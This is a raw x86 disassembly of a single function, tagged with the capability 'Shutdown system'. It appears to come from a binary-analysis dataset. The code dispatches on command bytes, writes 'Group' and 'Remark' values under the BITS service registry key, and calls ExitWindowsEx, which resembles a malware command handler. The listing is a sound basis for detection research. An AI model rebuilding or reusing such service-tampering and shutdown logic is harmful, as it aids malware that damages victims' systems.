Function at 0x409b30
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x5d1124]
xor eax, esp
mov dword [esp + 0x110], eax
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
movzx eax, byte [ecx]
cmp eax, 0x70
ja case.0x409b5f.3
movzx eax, byte [eax + 0x409d24]
jmp dword [eax*4 + 0x409cf0]
mov eax, dword [esi + 4]
push 0
sub esp, 8
push dword [eax + 0x38]
push 0x409370
call fcn.00415650
mov ecx, dword [esi + 0xfac]
add esp, 0x14
mov dword [esi + ecx*4 + 0xc], eax
inc dword [esi + 0xfac]
pop esi
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 4]
push 1
sub esp, 8
push dword [eax + 0x38]
push 0x409430
jmp 0x409b76
mov eax, dword [esi + 4]
push 0
sub esp, 8
push dword [eax + 0x38]
push 0x4094d0
jmp 0x409b76
mov eax, dword [esi + 4]
push 0
sub esp, 8
push dword [eax + 0x38]
push 0x409580
jmp 0x409b76
mov eax, dword [esi + 4]
push 0
sub esp, 8
push dword [eax + 0x38]
push 0x409680
jmp 0x409b76
mov eax, dword [esi + 4]
push 0
sub esp, 8
push dword [eax + 0x38]
push 0x409770
jmp 0x409b76
mov eax, dword [esi + 4]
push 0
sub esp, 8
push dword [eax + 0x38]
push 0x409880
jmp 0x409b76
push 1
sub esp, 8
lea eax, [ecx + 1]
push eax
push 0x409a40
jmp 0x409b76
push str.BITS
lea eax, [esp + 0xc]
push str.SYSTEMCurrentControlSetServices_s
push eax
lea esi, [ecx + 1]
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409c48
push 1
sub ecx, edx
push ecx
push esi
push 1
push str.Group
lea edx, [esp + 0x1c]
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.00414390
add esp, 0x14
pop esi
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
push str.BITS
lea eax, [esp + 0xc]
push str.SYSTEMCurrentControlSetServices_s
push eax
lea esi, [ecx + 1]
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409ca2
push 1
sub ecx, edx
push ecx
push esi
push 1
push str.Remark
jmp 0x409c5c
movzx esi, byte [ecx + 1]
mov edx, 1
call fcn.004158d0
push 0
push esi
call dword [sym.imp.USER32.dll_ExitWindowsEx]
xor edx, edx
call fcn.004158d0
mov ecx, dword [esp + 0x114]
pop esi
xor ecx, esp
call fcn.0054f768
mov esp, ebp
pop ebp
ret 8
call fcn.00409960
mov eax, 0xeb00409c
pushfd
inc eax
add byte [edx + 0x2800409c], al
pushfd
inc eax
add byte [0x6600409c], dl
wait
inc eax
add byte [ebx - 0x4affbf65], ah
wait
inc eax
add bh, al
wait
inc eax
add cl, bl
wait
inc eax
add bl, ch
wait
inc eax
add byte [eax], al
pushfd
inc eax
add byte [esi + 0x409b], cl
add dword [edx], eax
or al, 3
or al, 12
or al, 12
or al, 12
add al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
or al, 12
add eax, 202116102
pop es
or byte [ecx], cl
or cl, byte [esp + ecx]
or ecx, esp
int3